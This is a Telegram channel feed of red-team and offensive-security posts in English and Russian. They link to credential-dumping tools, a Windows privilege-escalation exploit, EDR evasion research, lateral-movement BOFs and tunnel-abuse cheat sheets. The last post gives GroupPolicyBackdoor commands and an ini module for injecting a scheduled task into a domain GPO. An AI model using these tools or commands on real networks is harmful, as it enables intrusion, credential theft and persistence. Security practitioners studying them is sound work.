12.9K subscribers
550 photos
27 videos
24 files
890 links
This channel discusses:

— Offensive Security
— RedTeam
— Malware Research
— OSINT
— etc

Disclaimer:
t.me/APT_Notes/6

Chat Link:
t.me/APT_Notes_PublicChat
Download Telegram
😴 Creating Object File Monstrosities with Sleep Mask and LLVM

The Mutator kit is now part of the Cobalt Strike Arsenal Kit. It allows you to mutate BOFs, sleep masks and more with LLVM.

Read about it on the blog:
🔗 https://www.cobaltstrike.com/blog/introducing-the-mutator-kit-creating-object-file-monstrosities-with-sleep-mask-and-llvm

#c2 #sleepmask #llvm #redteam
👍5
🖼️ BOFHound

This is an offline BloodHound ingestor and LDAP result parser. BOFHound allows operators to utilize BloodHound's beloved interface while maintaining full control over the LDAP queries being run and the spped at which they are executed. This leaves room for operator discretion to account for potential honeypot accounts, expensive LDAP query thresholds and other detection mechanisms designed with the traditional, automated BloodHound collectors in mind.

Tools:
🔗 https://github.com/coffeegist/bofhound

Research:
🔗 https://posts.specterops.io/bofhound-session-integration-7b88b6f18423

#c2 #bof #cobaltstrike #redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥71👍1
Forwarded from Ralf Hacker Channel (Ralf Hacker)
Набор инструментов для удалённого дампа паролей.

https://github.com/Slowerzs/ThievingFox/

Ну и сам блог:
https://blog.slowerzs.net/posts/thievingfox/

#pentest #redteam #creds
🔥10
Forwarded from Ralf Hacker Channel (Ralf Hacker)
🔥7👍1
🖥 Assembly for Hackers

"Assembly Unleashed: A Hacker's Handbook" is a definitive resource tailored specifically for hackers and security researchers seeking to master the art of assembly programming language. Authored by seasoned practitioners in the field, this book offers a comprehensive journey into the depths of assembly, unraveling its complexities and exposing its potential for exploitation and defense.

🔗 Source:
https://redteamrecipe.com/assembly-for-hackers

#asm #syscalls #dll #apc #injection #redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10🔥21
Forwarded from Ralf Hacker Channel (Ralf Hacker)
CVE-2024-30088: Windows LPE

PATCHED: June 11, 2024

https://github.com/tykawaii98/CVE-2024-30088

P.S. Протестил на Win11, работает

#git #exploit #lpe #pentest #redteam
❤‍🔥7🔥1
🔐 Red Teaming in the age of EDR: Evasion of Endpoint Detection Through Malware Virtualisation

This article explains how attackers use malware virtualization, custom virtual machines, code obfuscation, and polymorphic packers to evade detection by EDR systems, allowing Red Teams to remain undetected in secure environments.

🔗 Source:
https://blog.fox-it.com/2024/09/25/red-teaming-in-the-age-of-edr-evasion-of-endpoint-detection-through-malware-virtualisation/

#edr #evasion #virtualization #obfuscation #redteam
👍10👎1
Forwarded from Ralf Hacker Channel (Ralf Hacker)
Эта работа заслуживает внимание! Если кратко, то механизм MS UIA позволяет читать любые текстовые значения на экране, открывать меню, закрывать окна, ну и все такое)) А раз он дает такие возможности, то этим нужно пользоваться... Как пример, PoC от @Michaelzhm:

https://github.com/CICADA8-Research/Spyndicapped

Не думаю, что на данную технику вообще есть какие-то детекты. Все подробности в блоге.

#redteam #pentest #spyware
🔥191👍1
🔍 Exploring WinRM plugins for lateral movement

In this blog, the process of leveraging WinRM plugins to perform lateral movement to other systems is explored. Additionally, the use of the CIM_LogicFile WMI class to bypass certain tricky detections by Microsoft Defender is examined. Finally, all the logic is incorporated into a Cobalt Strike BOF.

🔗 Research:
https://falconforce.nl/exploring-winrm-plugins-for-lateral-movement/

🔗 Source:
https://github.com/FalconForceTeam/bof-winrm-plugin-jump

#ad #winrm #cobaltstrike #bof #redteam
🔥63👍3🤔1
🖥 Living Off The Tunnels

Living Off The Tunnels a.k.a LOTTunnels Project is community driven project to document digital tunnels that can be abused by threat actors as well by insiders for data exfiltrations, persistence, shell access etc.

🔗 Source:
https://lottunnels.github.io/

#tunnels #persistence #cheatsheet #redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
👍107
🦡 Technical Analysis of Brute Ratel C4 Payloads

This post provides a technical analysis of a Brute Ratel C4 badger/agent, a Red Team tool. The analysis includes API hashing, memory injection, encrypted C2 communications, and the first 20 C2 commands for remote control.

🔗 Source:
https://cybergeeks.tech/a-deep-dive-into-brute-ratel-c4-payloads/

#analysis #brc4 #redteam #blueteam
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥13👍3❤‍🔥1
Forwarded from Ralf Hacker Channel (Ralf Hacker)
При эксплуатации уязвимостей ADCS могут возникать разные ошибки. В блоге подробно рассмотрены причины популярных ошибок, а также варианты решения этих проблем

https://sensepost.com/blog/2025/diving-into-ad-cs-exploring-some-common-error-messages/

#pentest #redteam #adcs
1🔥12
Forwarded from Ralf Hacker Channel (Ralf Hacker)
🔥113👍3😁1
🌐 101 Chrome Exploitation

Introductory course on browser exploitation — not just covering individual JIT bugs, but a comprehensive dive into browser architecture, security layers, and principles of building exploit chains. The author demonstrates how to turn memory corruption into working exploits by analyzing a functional 3-stage chain for Chrome 130.

🔗 Source:
https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/

#chrome #v8 #sandbox #redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
👍174😱4🔥1
Forwarded from Whitehat Lab
💻 GroupPolicyBackdoor

Инструмент пост эксплуатации для различных манипуляций с GPO. Написан на 😰 Python
Впервые представлена на DEFCON 33

Примеры:

#backup
python3 gpb.py restore backup -d 'corp.com' -o './my_backups' --dc ad01-dc.corp.com -u 'john' -p 'Password1!' -n 'TARGET_GPO'

#inject
python3 gpb.py gpo inject --domain 'corp.com' --dc 'ad01-dc.corp.com' -k --module modules_templates/ImmediateTask_create.ini --gpo-name 'TARGET_GPO'


Пример ini:

[MODULECONFIG]
name = Scheduled Tasks
type = computer

[MODULEOPTIONS]
task_type = immediate
program = cmd.exe
arguments = /c "whoami > C:\Temp\poc.txt"

[MODULEFILTERS]
filters =
[{
"operator": "AND",
"type": "Computer Name",
"value": "ad01-srv1.corp.com"
}]


GPO creation, deletion, backup and injections
Various injectable configurations, with, for each, customizable options (see list in the wiki)
Possibility to remove injected configurations from the target GPO
Possibility to revert the actions performed on client devices
GPO links manipulation
GPO enumeration / user privileges enumeration on GPOs


💻 Repo
📔 Docs

#gpo #redteam #windows

✈️ Whitehat Lab 💬Chat
Please open Telegram to view this post
VIEW IN TELEGRAM
11👍5🔥4🤔1